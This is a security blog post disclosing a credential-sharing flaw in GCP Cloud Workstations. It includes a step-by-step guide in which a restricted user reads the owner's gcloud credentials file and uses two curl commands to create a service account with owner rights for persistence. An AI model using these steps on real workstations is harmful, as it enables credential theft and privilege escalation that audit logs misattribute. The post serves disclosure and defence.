Maintaining persistence via Shared sessions on Cloud Workstations

Introduction

In the rapidly evolving world of cloud computing, Google Cloud Platform's (GCP) Cloud Workstations have emerged as a sandboxed development environment, facilitating seamless collaboration and development. However, a recent discovery has unveiled a significant security flaw that could potentially allow unauthorized access and privilege escalation. In this blog, we delve deep into the intricacies of this vulnerability, demonstrating how it can be exploited and the potential repercussions.

Understanding Cloud Workstations

Before we delve into the vulnerability, let's understand what Cloud Workstations are. Essentially, they are environments that allow project owners to grant access to development environments without providing direct access to the GCP console. The process of adding users to a cloud workstation is relatively straightforward:

  1. A project owner or a service account creates a workstation configuration and initiates a workstation.

  2. Once ready, the owner can add users via email, assigning them roles such as "Cloud Workstation User" or "Admin".

  3. Users, even without a GCP login profile, can access the workstation through a browser-based link generated for them.

Note: The authenticated user only has access to the Cloud Workstation, not the GCP console.

Identifying the Vulnerability

Despite the convenience offered by Cloud Workstations, a critical flaw lies in the session management. When an owner initiates a session and performs actions like gcloud auth login, the session state persists, shared across multiple users accessing the workstation through the same URL. This means that any user with access to the workstation can view and interact with the session artifacts created by the owner.

POC - https://drive.google.com/file/d/11Q8RembWnPM2hPNEQsNjJ2gu5MvyAsN4/view?usp=sharing

The Problem at Hand

The core issue arises when the owner, with higher-level permissions, logs in for gcloud CLI within the workstation. This action generates temporary credentials, which unfortunately become accessible to any user sharing the workstation. Consequently, another user can impersonate the owner, making legitimate API calls to GCP using the owner's credentials.

Furthermore, the audit trails for these API calls log the owner's email address, making detection and remediation a challenging task for security teams. The credentials, including refresh tokens and client secrets, are stored in the ~/.config/gcloud/credentials.db file, which can be accessed and extracted by any user sharing the workstation.

Exploiting the Vulnerability: A Step-by-Step Guide

To illustrate the gravity of this issue, let's walk through a potential exploitation scenario:

  1. User-A (Owner) creates a workstation and logs in via a browser-based session.

  2. User-A runs gcloud auth login to generate an access token for interacting with GCP resources.

  3. User-A grants restricted access to User-B for performing generic tasks.

  4. User-B logs into the workstation using the URL provided by User-A.

  5. User-B runs gcloud auth list to check for credentials in the local session and extracts User-A's tokens and permissions.

  6. User-B retrieves the ~/.config/gcloud/credentials.db file to obtain crucial details, including refresh tokens.

  7. Using User-A's access token, User-B creates a new service account with owner permissions, effectively bypassing their restricted access.

The following code snippets illustrate how User-B can escalate privileges and maintain persistence:

# Creating a service account named "test-workstation-poc"
curl -X POST \
     -H "Authorization: Bearer {accessToken}" \
     -H "Content-Type: application/json" \
     -d '{
           "accountId": "{serviceAccountID}",
           "serviceAccount": {
             "displayName": "test-workstation-poc"
           }
         }' \
     "https://iam.googleapis.com/v1/projects/{projectID}/serviceAccounts"
# Attaching owner role to the new service account
curl -X POST \
     -H "Authorization: Bearer {accessToken}" \
     -H "Content-Type: application/json" \
     -d '{
           "policy": {
             "bindings": [
               {
                 "role": "roles/owner",
                 "members": [
                   "serviceAccount:{serviceAccountEmail}"
                 ]
               }
             ]
           }
         }' \
     "https://cloudresourcemanager.googleapis.com/v1/projects/{projectID}:setIamPolicy"

The Outcome

This vulnerability unveils a loophole in the security controls of GCP Cloud Workstations. The flaw essentially allows User-B, who initially had restricted access, to exploit the session persistence and gain unauthorized access to the GCP console, a privilege they were not initially granted.

By exploiting this vulnerability, User-B can not only impersonate User-A but also create new service accounts with elevated permissions if user-A has access to IAM, thereby bypassing the designed access controls.

Moreover, the fact that actions performed using stolen credentials are logged as actions of the legitimate credential owner (User-A) complicates the detection and remediation process. It misleads incident response teams and can potentially delay the containment of a security breach, thereby escalating the potential damage manifold.

Thank You

Saransh Rana

Infrastructure Security @ CRED

Last updated